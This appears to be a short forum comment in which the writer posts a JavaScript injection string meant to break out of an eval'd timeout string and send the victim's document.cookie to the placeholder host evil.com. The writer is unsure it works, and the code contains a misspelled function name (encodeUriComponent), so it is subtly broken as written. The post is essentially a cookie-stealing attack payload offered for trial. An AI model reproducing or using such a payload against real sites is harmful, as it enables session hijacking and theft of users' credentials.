If this was sent by eval'ing a string in a timeout then
';x=new XMLHttpRequest();x.open('GET','http://evil.com?s='+encodeUriComponent(document.cookie), false);x.withCredentials = true;x.send();
Honestly you have no idea how hard it was for me to remember how to write this type of code. I honestly want to see if it would have actually worked. Probably not, but I think I am close.
